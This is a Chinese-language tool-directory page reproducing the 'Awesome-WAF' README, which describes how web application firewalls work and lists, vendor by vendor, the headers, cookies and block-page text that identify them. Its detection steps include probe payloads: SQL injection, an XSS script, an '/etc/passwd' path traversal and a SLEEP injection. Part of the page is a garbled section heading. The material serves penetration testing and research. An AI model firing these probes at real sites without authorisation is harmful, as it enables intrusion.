Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Awesome-WAF — 从安全角度解析Web应用防火墙(WAFs)的一切!🔥 | Kitploit
工具/GitHubGitHub/0xinfection/awesome-waf
WAF绕过Web安全学习与教育精选资源
GitHub0xinfection/awesome-waf

Awesome-WAF

从安全角度解析Web应用防火墙(WAFs)的一切!🔥

查看仓库
7.6k1.2k4个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Awesome WAF Awesome

从安全角度了解关于 Web 应用防火墙(WAF)的一切。🔥

前言: 这原本是我个人关于 WAF 的收藏。我将其开源,希望它能对渗透测试人员和研究人员有所帮助。俗话说,“社区就是相互学习。”

主图

简明的定义: 防火墙是位于 Web 应用和客户端端点之间的安全策略执行点。此功能可以通过软件或硬件实现,运行在专用设备中,或运行在运行通用操作系统的典型服务器上。它可以是独立设备,也可以集成到其他网络组件中。(来源:PCI DSS IS 6.6)

Web 应用防火墙位于用户和 Web 应用之间,其任务是阻止任何恶意活动到达 Web 应用。WAF 要么过滤掉请求中的恶意部分,要么直接阻止该请求。

欢迎贡献。

目录:

  • 简介
    • WAF 工作方式
    • 运行模式
  • 测试方法
    • 从何处入手
    • 检测技术
  • WAF 指纹
  • 绕过技术
    • 模糊测试/暴力破解
    • 正则反转
    • 混淆/编码
    • 浏览器漏洞
    • HTTP 标头欺骗
    • Google Dorks 方法
  • 已知绕过方法
  • 优秀工具
    • 指纹识别
    • 测试
    • 绕过
  • 博客与文章
  • 视频演示
  • 研究演示与论文
    • 研究论文
    • 演示幻灯片
  • 许可与致谢

简介:

WAF 工作方式:

  • 使用一组规则来区分正常请求和恶意请求。
  • 有时它们会使用学习模式,通过学习用户行为自动添加规则。

运行模式:

  • 消极模型(基于黑名单) - 黑名单模型使用预设签名来阻止明显恶意的请求。采用消极模型的 WAF 的签名专门设计用于防止利用某些 Web 应用漏洞的攻击。黑名单模型 Web 应用防火墙非常适合面向公共互联网的 Web 应用,并且对主要漏洞非常有效。例如,阻止所有 <script>*</script> 输入的规则可以防止基本的跨站脚本攻击。
  • 积极模型(基于白名单) - 白名单模型仅允许根据特定配置标准的 Web 流量。例如,可以配置为仅允许来自某些 IP 地址的 HTTP GET 请求。该模型对于阻止潜在的大规模攻击非常有效,但也会阻止大量合法流量。白名单模型防火墙可能最适合内部网络上的 Web 应用,这些应用仅供有限群体使用,例如员工。
  • 混合模型(包容性模型) - 混合安全模型结合了白名单和黑名单。根据各种具体配置,混合防火墙对于内部网络上的 Web 应用和公共互联网上的 Web 应用可能都是最佳选择。一个很好的场景是:Web 应用面向公共互联网(使用黑名单),而管理面板只需要暴露给一部分用户(使用白名单)。

测试方法:

从何处入手:

  • 始终注意可能暴露 WAF 的常见端口,即 80、443、8000、8080 和 8888 端口。但重要的是要注意,WAF 可以轻松部署在任何运行 HTTP 服务的端口上。最好先枚举 HTTP 服务端口,然后再寻找 WAF。
  • 有些 WAF 会在请求中设置自己的 Cookie(例如 Citrix Netscaler、Yunsuo WAF)。
  • 有些 WAF 会与单独的标头关联(例如 Anquanbao WAF、Amazon AWS WAF)。
  • 有些 WAF 经常修改标头并打乱字符以迷惑攻击者(例如 Netscaler、Big-IP)。
  • 有些 WAF 会在 Server 标头中暴露自己(例如 Approach、WTS WAF)。
  • 有些 WAF 会在响应内容中暴露自己(例如 DotDefender、Armor、Sitelock)。
  • 其他 WAF 在收到恶意请求时会回复不寻常的响应代码(例如 WebKnight、360 WAF)。

检测技术:

要识别 WAF,我们需要(假装)挑衅它。

  1. 从浏览器发出正常 GET 请求,拦截并记录响应标头(特别是 Cookie)。
  2. 从命令行发出请求(例如 cURL),测试响应内容和标头(不包含用户代理)。
  3. 向随机开放端口发出 GET 请求,抓取可能暴露 WAF 身份的标语。
  4. 在登录页面注入常见(易于检测)的有效载荷,例如 " or 1 = 1 --。
  5. 在搜索栏、联系表单和其他输入字段中注入嘈杂的有效载荷,例如 <script>alert()</script>。
  6. 在 URL 末尾的随机参数后附加一个虚拟的 ../../../etc/passwd。
  7. 在 URL 末尾的任何随机参数后附加一些吸引人的关键字,例如 ' OR SLEEP(5) OR '。
  8. 使用过时的协议(如 HTTP/0.9)发出 GET 请求(HTTP/0.9 不支持 POST 类型的查询)。
  9. 很多时候,WAF 会根据不同类型的交互更改 Server 标头。
  10. 丢弃动作技术 - 向服务器发送原始构造的 FIN/RST 数据包并识别响应。

    提示: 此方法可以轻松使用 HPing3 或 Scapy 等工具实现。

  11. 侧信道攻击 - 检查请求和响应内容的时序行为。

    提示: 更多详细信息可以在此博客文章中找到。

WAF 指纹

想对 WAF 进行指纹识别?来看看怎么做。

注意: 本节包含手动 WAF 检测技术。你可能想跳到下一节。





## 绕过技术 让我们看看一些绕过和规避WAF的方法。 : aa
下载工具
WAF指纹
360
  • 可检测性:容易
  • 检测方法:
    • 异常请求返回状态码 493。
    • 拦截页面可能包含对 wzws-waf-cgi/ 目录的引用。
    • 拦截响应页面源码可能包含:
      • 对 wangshan.360.cn URL 的引用。
      • Sorry! Your access has been intercepted because your links may threaten website security. 文本片段。
    • 响应头可能包含 X-Powered-By-360WZB 头。
    • 拦截响应头包含唯一的 WZWS-Ray 头。
    • Server 头可能包含值 qianxin-waf。
aeSecure
  • 可检测性:中等
  • 检测方法:
    • 拦截响应内容包含 aesecure_denied.png 图片(查看源代码以查看)。
    • 响应头包含 aeSecure-code 值。
Airlock
  • 可检测性:中等/困难
  • 检测方法:
    • Set-Cookie 头可能包含:
      • AL-SESS Cookie 字段名(不区分大小写)。
      • AL-LB 值(不区分大小写)。
    • 拦截响应页面包含:
      • Server detected a syntax error in your request 文本。
      • Check your request and all parameters 文本片段。
AlertLogic
  • 可检测性:困难
  • 检测方法:
    • 拦截响应页面包含:
      • We are sorry, but the page you are looking for cannot be found 文本片段。
      • The page has either been removed, renamed or temporarily unavailable 文本。
      • 红色字体的 404 Not Found。
Aliyundun
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含:
      • Sorry, your request has been blocked as it may cause potential threats to the server's security 文本片段。
      • 对 errors.aliyun.com 站点 URL 的引用。
    • 拦截响应返回码为 405。
Anquanbao
  • 可检测性:容易
  • 检测方法:
    • 恶意请求返回拦截 HTTP 响应码 405。
    • 拦截响应内容可能包含 /aqb_cc/error/ 或 hidden_intercept_time。
    • 响应头包含 X-Powered-by-Anquanbao 头部字段。
Anyu
  • 可检测性:容易
  • 检测方法:
    • 拦截响应内容包含 Sorry! your access has been intercepted by AnYu
    • 拦截响应页面包含 AnYu- the green channel 文本。
    • 响应头可能包含异常头部 WZWS-RAY。
Approach
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面内容可能包含:
      • Approach Web Application Firewall Framework 标题。
      • Your IP address has been logged and this information could be used by authorities to track you. 警告。
      • Sorry for the inconvenience! 关键词。
      • Approach infrastructure team 文本片段。
    • Server 头部字段值设置为 Approach。
Armor Defense
  • 可检测性:容易
  • 检测方法:
    • 拦截响应内容包含:
      • This request has been blocked by website protection from Armor 文本。
      • If you manage this domain please create an Armor support ticket 片段。
ArvanCloud
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 ArvanCloud 关键词。
ASPA
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 ASPA-WAF 关键词。
    • 响应包含唯一头部 ASPA-Cache-Status,内容为 HIT 或 MISS。
ASP.NET Generic
  • 可检测性:中等
  • 检测方法:
    • 响应头可能包含 X-ASPNET-Version 头部值。
    • 拦截响应页面内容可能包含:
      • This generic 403 error means that the authenticated user is not authorized to use the requested resource。
      • Error Code 0x00000000< 关键词。
    • X-Powered-By 头部字段值设置为 ASP.NET。
Astra
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面内容可能包含:
      • Sorry, this is not allowed. 在 h1 中。
      • our website protection system has detected an issue with your IP address and wont let you proceed any further 文本片段。
      • 对 www.getastra.com/assets/images/ URL 的引用。
    • 响应 Cookie 中字段值 cz_astra_csrf_cookie 出现在响应头中。
AWS ELB
  • 可检测性:中等
  • 检测方法:
    • 响应头可能包含:
      • AWSALB Cookie 字段值。
      • X-AMZ-ID 头部。
      • X-AMZ-REQUEST-ID 头部。
    • 响应页面可能包含:
      • Access Denied 关键词。
      • 长度在 20 到 25 之间的请求令牌 ID,位于 RequestId 标签之间。
    • Server 头部字段包含 awselb/2.0 值。
Baidu Yunjiasu
  • 可检测性:中等
  • 检测方法:
    • Server 头部可能包含 Yunjiasu-nginx 值。
    • Server 头部可能包含 Yunjiasu 值。
Barikode
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面内容包含:
      • BARIKODE 关键词。
      • Forbidden Access 文本片段在 h1 中。
Barracuda
  • 可检测性:中等
  • 检测方法:
    • 响应 Cookie 可能包含 barra_counter_session 值。
    • 响应头可能包含 barracuda_ 关键词。
  • 响应页面包含:
    • You have been blocked 标题。
    • You are unable to access this website 文本。
Bekchy
  • 可检测性:容易
  • 检测方法:
    • 拦截响应头包含 Bekchy - Access Denied。
    • 拦截响应页面包含对 https://bekchy.com/report 的引用。
BinarySec
  • 可检测性:中等
  • 检测方法:
    • 响应头包含:
      • X-BinarySec-Via 字段。
      • X-BinarySec-NoCache 字段。
      • Server 头部包含 BinarySec 关键词。
BitNinja
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面可能包含:
      • Security check by BitNinja 文本片段。
      • your IP will be removed from BitNinja。
      • Visitor anti-robot validation 文本片段。
      • (You will be challenged by a reCAPTCHA page) 文本。
BIG-IP ASM
  • 可检测性:中等
  • 检测方法:
    • 响应头可能包含 BigIP 或 F5 关键词值。
    • 响应头字段可能包含 X-WA-Info 头部。
    • 响应头可能包含混乱的 X-Cnection 字段值。
BlockDos
  • 可检测性:中等
  • 检测方法:
    • Server 头部包含值 BlockDos.net。
Bluedon IST
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 BDWAF 字段值。
    • 拦截响应页面包含 Bluedon Web Application Firewall 文本片段。
BulletProof Security Pro
  • 可检测性:中等
  • 检测方法:
    • 拦截响应页面包含:
      • id 为 bpsMessage 的 div 文本片段。
      • If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page. 文本片段。
CDN NS Application Gateway
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含 CdnNsWAF Application Gateway 文本片段。
Cerber (WordPress)
  • 可检测性:困难
  • 检测方法:
    • 拦截响应页面包含:
      • We're sorry, you are not allowed to proceed 文本片段。
      • Your request looks suspicious or similar to automated requests from spam posting software 警告。
Chaitin Safeline
  • 可检测性:困难
  • 检测方法:
    • 拦截响应页面包含 HTML 注释中的 event_id 关键词。
ChinaCache
  • 可检测性:容易
  • 检测方法:
    • 响应头包含 Powered-by-ChinaCache 字段。
Cisco ACE XML Gateway
  • 可检测性:中等
  • 检测方法:
    • Server 头部值设置为 ACE XML Gateway。
Cloudbric
  • 可检测性:中等
  • 检测方法:
    • 响应内容包含:
      • Malicious Code Detected 标题。
      • Your request was blocked by Cloudbric 文本片段。
      • 对 https://cloudbric.zendesk.com URL 的引用。
      • Cloudbric Help Center 文本。
      • 页面标题以 Cloudbric | ERROR! 开头。
Cloudflare
  • 可检测性:容易
  • 检测方法:
    • 响应头可能包含 cf-ray 字段值。
    • Server 头部字段值为 cloudflare。
    • Set-Cookie 响应头包含 __cfuid= Cookie 字段。
    • 页面内容可能包含 Attention Required! 或 Cloudflare Ray ID:。
    • 页面内容可能包含 DDoS protection by Cloudflare 文本。
    • 访问无效 URL 时可能遇到 CLOUDFLARE_ERROR_500S_BOX。
CloudfloorDNS
  • 可检测性:容易
  • 检测方法:
    • Server 头部字段值为 CloudfloorDNS WAF。
    • 拦截页面标题可能包含 CloudfloorDNS - Web Application Firewall Error。
    • 页面内容可能包含 www.cloudfloordns.com/contact URL 作为联系链接。
Cloudfront
  • 可检测性:容易
  • 检测方法:
    • 拦截响应内容在恶意请求时包含 Generated by cloudfront (CloudFront) 错误。
Comodo cWatch
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 Protected by COMODO WAF 值。
CrawlProtect
  • 可检测性:容易
  • 检测方法:
    • 响应 Cookie 可能包含 crawlprotect Cookie 名称。
    • 拦截页面标题包含 CrawlProtect 关键词。
    • 拦截响应内容在恶意请求时包含值
      This site is protected by CrawlProtect !!!。
Deny-All
  • 可检测性:困难
  • 检测方法:
    • 响应内容包含值 Condition Intercepted。
    • Set-Cookie 头部包含 Cookie 字段 sessioncookie。
Distil Web Protection
  • 可检测性:容易
  • 检测方法:
    • 响应头在所有请求中包含字段值 X-Distil-CS。
    • 拦截响应页面包含:
      • Pardon Our Interruption... 标题。
      • You have disabled javascript in your browser. 文本片段。
      • Something about your browser made us think that you are a bot. 文本。
DoSArrest Internet Security
  • 可检测性:容易
  • 检测方法:
    • 响应头包含字段值 X-DIS-Request-ID。
    • Server 头部包含 DOSarrest 关键词。
DotDefender
  • 可检测性:容易
  • 检测方法:
    • 拦截响应内容包含值
      dotDefender Blocked Your Request。
    • 拦截响应头包含 X-dotDefender-denied 字段值。
DynamicWeb Injection Check
  • 可检测性:容易
  • 检测方法:
    • 拦截响应头包含 X-403-Status-By 字段,值为 dw-inj-check。
e3Learning Security
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 e3Learning_WAF 关键词。
EdgeCast (Verizon)
  • 可检测性:容易
  • 检测方法:
    • 拦截响应内容包含值
      Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon)。
    • 恶意请求返回拦截响应码 400 Bad Request。
Eisoo Cloud
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面内容可能包含:
      • /eisoo-firewall-block.css 引用。
      • www.eisoo.com URL。
      • © (year) Eisoo Inc. 关键词。
    • Server 头部字段值设置为 EisooWAF-AZURE/EisooWAF。
Expression Engine
  • 可检测性:困难
  • 检测方法:
    • 拦截响应页面通常返回 Invalid URI。
    • 拦截响应内容在恶意 GET 查询时包含值 Invalid GET Request。
    • 拦截的 POST 类型查询在响应内容中包含 Invalid Data。
F5 ASM
  • 可检测性:困难
  • 检测方法:
    • 拦截响应内容包含警告
      The requested URL was rejected. Please consult with your administrator.
FortiWeb
  • 可检测性:中等
  • 检测方法:
    • 恶意请求的响应头包含 FORTIWAFSID=。
    • 拦截响应页面包含:
      • 对 .fgd_icon 图片图标的引用。
      • Server Unavailable! 作为标题。
      • Server unavailable. Please visit later. 作为文本。
GoDaddy
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含值
      Access Denied - GoDaddy Website Firewall。
GreyWizard
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含:
      • Grey Wizard 作为标题。
      • Contact the website owner or Grey Wizard 文本片段。
      • We've detected attempted attack or non standard traffic from your IP address 文本片段。
    • Server 头部包含 greywizard 关键词。
Huawei Cloud
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含:
      • 对 account.hwclouds.com/static/error/images/404img.jpg 错误图片的引用。
      • 对 www.hwclouds.com URL 的引用。
      • 用于报告的 hws_security@{site.tld} 电子邮件引用。
HyperGuard
  • 可检测性:困难
  • 检测方法:
    • Set-Cookie 头部在响应头中包含 Cookie 字段 ODSESSION=。
IBM DataPower
  • 可检测性:困难
  • 检测方法:
    • 响应头包含字段值 X-Backside-Transport,值为 OK 或 FAIL。
Imperva Incapsula
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面内容可能包含:
      • Powered By Incapsula 文本片段。
      • Incapsula incident ID 关键词。
      • _Incapsula_Resource 关键词。
      • subject=WAF Block Page 关键词。
    • 正常 GET 请求头包含 visid_incap 值。
    • 响应头可能包含 X-Iinfo 头部字段名。
    • Set-Cookie 头部包含 Cookie 字段 incap_ses 和 visid_incap。
Imunify360
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 imunify360-webshield 关键词。
    • 响应页面包含:
      • Powered by Imunify360 文本片段。
      • 如果响应类型为 JSON,则包含 imunify360 preloader。
    • 拦截响应页面包含 protected by Imunify360 文本。
IndusGuard
  • 可检测性:中等
  • 检测方法:
    • Server 头部包含值 IF_WAF。
    • 拦截响应内容包含警告
      further investigation and remediation with a screenshot of this page.
    • 响应头包含唯一的 X-Version 头部。
Instart DX
  • 可检测性:容易
  • 检测方法:
    • 响应头包含唯一的 X-Instart-Request-ID 头部。
    • 响应头包含唯一的 X-Instart-WL 头部指纹。
    • 响应头包含唯一的 X-Instart-Cache 头部指纹。
    • 拦截响应页面包含 The requested URL was rejected. Please consult with your administrator. 文本。
ISA Server
  • 可检测性:困难
  • 检测方法:
    • 响应页面包含:
      • The ISA Server denied the specified Uniform Resource Locator (URL) 文本片段。
      • The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. 文本片段。
Janusec Application Gateway
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面显示包含 JANUSEC 名称和徽标的图片。
    • 拦截响应页面在恶意请求时显示 Janusec Application Gateway。
Jiasule
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含对 static.jiasule.com/static/js/http_error.js URL 的引用。
    • Set-Cookie 头部在响应头中包含 Cookie 字段 _jsluid= 或 jsl_tracking。
    • Server 头部包含 jiasule-WAF 关键词。
    • 拦截响应内容包含 notice-jiasule 关键词。
KeyCDN
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 KeyCDN 关键词。
KnownSec
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面显示 ks-waf-error.png 图片(查看源代码以查看)。
KONA Site Defender (Akamai)
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 AkamaiGHost 关键词。
LiteSpeed
  • 可检测性:容易
  • 检测方法:
    • Server 头部值设置为 LiteSpeed。
    • 响应页面包含:
      • Proudly powered by LiteSpeed Web Server 文本。
      • 对 http://www.litespeedtech.com/error-page 的引用。
      • Access to resource on this server is denied.
Malcare
  • 可检测性:中等
  • 检测方法:
    • 拦截响应页面可能包含:
      • Blocked because of Malicious Activities 文本片段。
      • Firewall powered by MalCare 文本片段。
MissionControl Application Shield
  • 可检测性:容易
  • 检测方法:
    • Server 头部字段包含 Mission Control Application Shield 值。
ModSecurity
  • 可检测性:中等/困难
  • 检测方法:
    • 拦截响应页面包含:
      • This error was generated by Mod_Security 文本片段。
      • One or more things in your request were suspicious 文本片段。
      • rules of the mod_security module 文本片段。
      • mod_security rules triggered 文本片段。
      • 对 /modsecurity-errorpage/ 目录的引用。
    • Server 头部可能包含 Mod_Security 或 NYOB 关键词。
    • 有时对攻击的响应码为 403,而响应短语为 ModSecurity Action。
ModSecurity CRS
  • 可检测性:困难
  • 检测方法:
    • 当添加单独的请求头 X-Scanner 并设置为特定 paranoa 级别时,会出现拦截页面。
NAXSI
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含 This Request Has Been Blocked By NAXSI。
    • 响应头包含异常字段 X-Data-Origin,值为 naxsi/waf 关键词。
    • Server 头部包含 naxsi/waf 关键词值。
    • 拦截响应页面可能包含 NAXSI blocked information 错误代码。
Nemesida
  • 可检测性:困难
  • 检测方法:
    • 拦截响应页面包含 Suspicious activity detected. Access to the site is blocked.。
    • 包含对电子邮件 nwaf@{site.tld} 的引用。
Netcontinuum
  • 可检测性:中等
  • 检测方法:
    • 会话 Cookie 包含 NCI__SessionId= Cookie 字段名。
NetScaler AppFirewall
  • 可检测性:中等
  • 检测方法:
    • 响应头可能包含
      • Connection: 头部字段名被混淆为 nnCoection:。
      • ns_af= Cookie 字段名。
      • citrix_ns_id 字段名。
      • NSC 关键词。
      • NS-CACHE 字段值。
NevisProxy
  • 可检测性:中等
  • 检测方法:
    • 响应头 Cookie 包含 Navajo 关键词。
NewDefend
  • 可检测性:容易
  • 检测方法:
    • 响应页面包含:
      • 对 http://www.newdefend.com/feedback/misinformation/ URL 的引用。
      • 对 /nd_block/ 目录的引用。
    • Server 头部包含 NewDefend 关键词。
Nexusguard
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含对 speresources.nexusguard.com/wafpage/index.html URL 的引用。
NinjaFirewall
  • 可检测性:中等
  • 检测方法:
    • 响应页面标题包含 NinjaFirewall: 403 Forbidden。
    • 响应页面包含:
      • For security reasons, it was blocked and logged 文本片段。
      • 标题中的 NinjaFirewall 关键词。
    • 恶意请求返回 403 Forbidden 响应。
NSFocus
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 NSFocus 关键词。
NullDDoS
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 NullDDoS System 关键词。
onMessage Shield
  • 可检测性:容易
  • 检测方法:
    • 响应头包含 X-Engine 字段,值为 onMessage Shield。
    • 拦截响应页面包含:
      • Blackbaud K-12 conducts routine maintenance 关键词。
      • This site is protected by an enhanced security system。
      • 对 https://status.blackbaud.com URL 的引用。
      • 对 https://maintenance.blackbaud.com URL 的引用。
OpenResty Lua WAF
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 openresty/{version} 关键词。
    • 拦截响应页面包含 openresty/{version} 文本。
    • 拦截响应返回码为 406 Not Acceptable。
Palo Alto
  • 可检测性:中等
  • 检测方法:
    • 拦截响应页面包含 Virus/Spyware Download Blocked。
    • 响应页面可能包含 Palo Alto Next Generation Security Platform 文本片段。
PentaWAF
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 PentaWAF/{version} 关键词。
    • 拦截响应页面包含文本 PentaWAF/{version}。
PerimeterX
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含对
      https://www.perimeterx.com/whywasiblocked URL 的引用。
pkSecurityModule IDS
  • 可检测性:中等
  • 检测方法:
    • 响应内容可能包含
      • pkSecurityModule: Security.Alert。
      • A safety critical request was discovered and blocked 文本片段。
Positive Technologies Application Firewall
  • 可检测性:困难
  • 检测方法:
    • 拦截响应页面在 h1 中包含 Forbidden,后跟:
    • Request ID: 格式为 yyyy-mm-dd-hh-mm-ss-{ref. code}。
PowerCDN
  • 可检测性:中等
  • 检测方法:
    • 响应头可能包含
      • Via 头部内容为 powercdn.com。
      • X-Cache 头部内容为 powercdn.com。
      • X-CDN 头部内容为 PowerCDN。
Profense
  • 可检测性:容易
  • 检测方法:
    • Set-Cookie 头部包含 PLBSID= Cookie 字段名。
    • Server 头部包含 Profense 关键词。
Proventia (IBM)
  • 可检测性:困难
  • 检测方法:
    • 拦截响应页面可能包含 request does not match Proventia rules 文本片段。
Puhui
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 PuhuiWAF 关键词。
Qiniu CDN
  • 可检测性:容易
  • 检测方法:
    • 响应内容可能包含
      • 响应头包含异常头部 X-Qiniu-CDN,值为 0 或 1。
Radware Appwall
  • 可检测性:中等
  • 检测方法:
    • 响应页面包含以下文本片段:
      Unauthorized Activity Has Been Detected. 和 Case Number。
    • 拦截响应页面包含对 radwarealerting@{site.tld} 电子邮件的引用。
    • 拦截响应页面标题设置为 Unauthorized Request Blocked。
    • 响应头可能包含 X-SL-CompState 头部字段名。
Reblaze
  • 可检测性:中等
  • 检测方法:
    • 响应头中的 Cookie 包含 rbzid= 头部字段名。
    • Server 字段值可能包含 Reblaze Secure Web Gateway 文本片段。
    • 响应页面包含:
      • Access Denied (403) 加粗显示。
      • Current session has been terminated 文本。
      • For further information, do not hesitate to contact us。
Request Validation Mode
  • 可检测性:容易
  • 检测方法:
    • 专门在 ASP.NET 网站上发现的防火墙,其他网站没有。
    • 响应页面包含以下任一文本片段:
      • ASP.NET has detected data in the request that is potentially dangerous.
      • Request Validation has detected a potentially dangerous client input value.
      • HttpRequestValidationException.
    • 拦截响应返回码始终为 500 Internal Error。
RSFirewall
  • 可检测性:容易
  • 检测方法:
    • 响应页面包含:
      • COM_RSFIREWALL_403_FORBIDDEN 关键词。
      • COM_RSFIREWALL_EVENT 关键词。
Sabre
  • 可检测性:容易
  • 检测方法:
    • 恶意请求返回状态码 500 Internal Error。
    • 响应内容包含:
      • 联系电子邮件 [email protected]。
      • 加粗警告 Your request has been blocked。
      • clicking the above email link will automatically add some important details to the email for us to investigate the problem 文本片段。
Safe3
  • 可检测性:容易
  • 检测方法:
    • 响应头包含:
      • X-Powered-By 头部字段值为 Safe3WAF。
      • Server 头部字段值设置为 Safe3 Web Firewall。
    • 响应页面包含 Safe3waf 关键词。
SafeDog
  • 可检测性:容易/中等
  • 检测方法:
    • 响应中的 Server 头部可能包含:
      • WAF/2.0 关键词。
      • safedog 字段值。
SecKing
  • 可检测性:容易/中等
  • 检测方法:
    • 响应中的 Server 头部可能包含:
      • SECKINGWAF 关键词。
      • SECKING/{version} 字段值。
SecuPress
  • 可检测性:容易
  • 检测方法:
    • 响应内容可能包含:
      • SecuPress 文本。
      • Block ID: Bad URL Contents 文本。
    • 返回的响应码为 503 Service Unavailable。
Secure Entry
  • 可检测性:容易
  • 检测方法:
    • Server 头部值设置为 Secure Entry Server。
SecureIIS
  • 可检测性:容易
  • 检测方法:
    • 响应页面包含以下任一文本片段:
      • 显示 beyondtrust 徽标的图片。
      • Download SecureIIS Personal Edition
      • 对 http://www.eeye.com/SecureIIS/ URL 的引用。
      • SecureIIS Error 文本片段。
SecureSphere
  • 可检测性:困难
  • 检测方法:
    • 响应页面包含以下文本片段:
      • h2 文本中的错误。
      • 标题仅包含文本 Error。
      • Contact support for additional information. 文本。
SEnginx
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含 SENGINX-ROBOT-MITIGATION 关键词。
ServerDefender VP
  • 可检测性:容易
  • 检测方法:
    • 拦截响应包含 X-Pint 头部字段,值为 p80 关键词。
Shadow Daemon
  • 可检测性:困难
  • 检测方法:
    • 拦截响应页面包含 request forbidden by administrative rules. 关键词。
ShieldSecurity
  • 可检测性:困难
  • 检测方法:
    • 拦截响应页面包含:
      • You were blocked by the Shield. 文本。
      • Something in the URL, Form or Cookie data wasn't appropriate 文本片段。
      • Warning: You have {number} remaining transgression(s) against this site。
      • Seriously stop repeating what you are doing or you will be locked out。
SiteGround
  • 可检测性:困难
  • 检测方法:
    • 拦截响应页面包含
      The page you are trying to access is restricted due to a security rule 文本片段。
SiteGuard (JP Secure)
  • 可检测性:困难
  • 检测方法:
    • 响应页面包含:
      • Powered by SiteGuard 文本片段。
      • The server refuse to browse the page. 文本片段。
      • The URL may not be correct. Please confirm the value.
SiteLock TrueShield
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面源码包含以下内容:
      • 对 www.sitelock.com URL 的引用。
      • Sitelock is leader in Business Website Security Services. 文本。
      • sitelock-site-verification 关键词。
      • sitelock_shield_logo 图片。
SonicWall
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 SonicWALL 关键词值。
    • 拦截响应页面包含以下任一文本片段:
      • 显示 Dell 徽标的图片。
      • This request is blocked by the SonicWALL.
      • Web Site Blocked 文本片段。
      • nsa_banner 关键词。 :p
Sophos UTM
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含 Powered by UTM Web Protection 关键词。
SquareSpace
  • 可检测性:困难
  • 检测方法:
    • 恶意请求返回响应码 404 Not Found。
    • 拦截响应页面包含以下任一文本片段:
      • BRICK-50 关键词。
      • 404 Not Found 文本片段。
SquidProxy IDS
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含字段值 squid/{version}。
    • 拦截响应页面包含
      Access control configuration prevents your request from being allowed at this time.。
StackPath
  • 可检测性:容易
  • 检测方法:
    • 包含显示 StackPath 徽标的图片。
    • 拦截响应页面包含
      You performed an action that triggered the service and blocked your request。
Stingray
  • 可检测性:困难
  • 检测方法:
    • 拦截响应返回码为 403 Forbidden 或 500 Internal Error。
    • 响应头包含 X-Mapping 头部字段名。
Sucuri CloudProxy
  • 可检测性:容易
  • 检测方法:
    • 响应头可能包含 Sucuri 或 Cloudproxy 关键词。
    • 拦截响应页面包含以下文本片段:
      • Access Denied - Sucuri Website Firewall 文本。
      • 对 https://sucuri.net/privacy-policy URL 的引用。
      • 有时包含电子邮件 [email protected]。
      • 包含版权声明 ;copy {year} Sucuri Inc。
    • 响应头在正常请求中包含 X-Sucuri-ID 头部。
Synology Cloud
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含文本 Copyright (c) 2019 Synology Inc. All rights reserved.。
Tencent Cloud
  • 可检测性:中等
  • 检测方法:
    • 拦截响应返回码为 405 Method Not Allowed 错误。
    • 拦截响应页面包含对 waf.tencent-cloud.com URL 的引用。
Teros
  • 可检测性:困难
  • 检测方法:
    • 响应头包含 Cookie 字段 st8id。
TrafficShield
  • 可检测性:中等
  • 检测方法:
    • Server 可能包含 F5-TrafficShield 关键词。
    • 响应 Cookie 中可能检测到 ASINFO= 值。
TransIP
  • 可检测性:容易
  • 检测方法:
    • 响应头包含唯一的 X-TransIP-Backend 头部。
    • 响应头包含另一个 X-TransIP-Balancer 头部。
UCloud UEWaf
  • 可检测性:容易
  • 检测方法:
    • 响应内容可能包含:
      • 对 /uewaf_deny_pages/default/img/ 目录的引用。
      • ucloud.cn URL。
    • 返回的响应头中 Server 设置为 uewaf/{version}。
URLMaster SecurityCheck
  • 可检测性:中等
  • 检测方法:
    • 响应头可能包含:
      • UrlMaster 关键词。
      • UrlRewriteModule 关键词。
      • SecurityCheck 关键词。
    • 拦截响应返回码为 400 Bad Request 文本片段。
URLScan
  • 可检测性:中等
  • 检测方法:
    • 拦截响应页面包含:
      • Rejected-by-URLScan 文本片段。
      • Server Erro in Application 作为标题。
      • 表格中的 Module: IIS Web Core。
USP Secure Entry
  • 可检测性:中等
  • 检测方法:
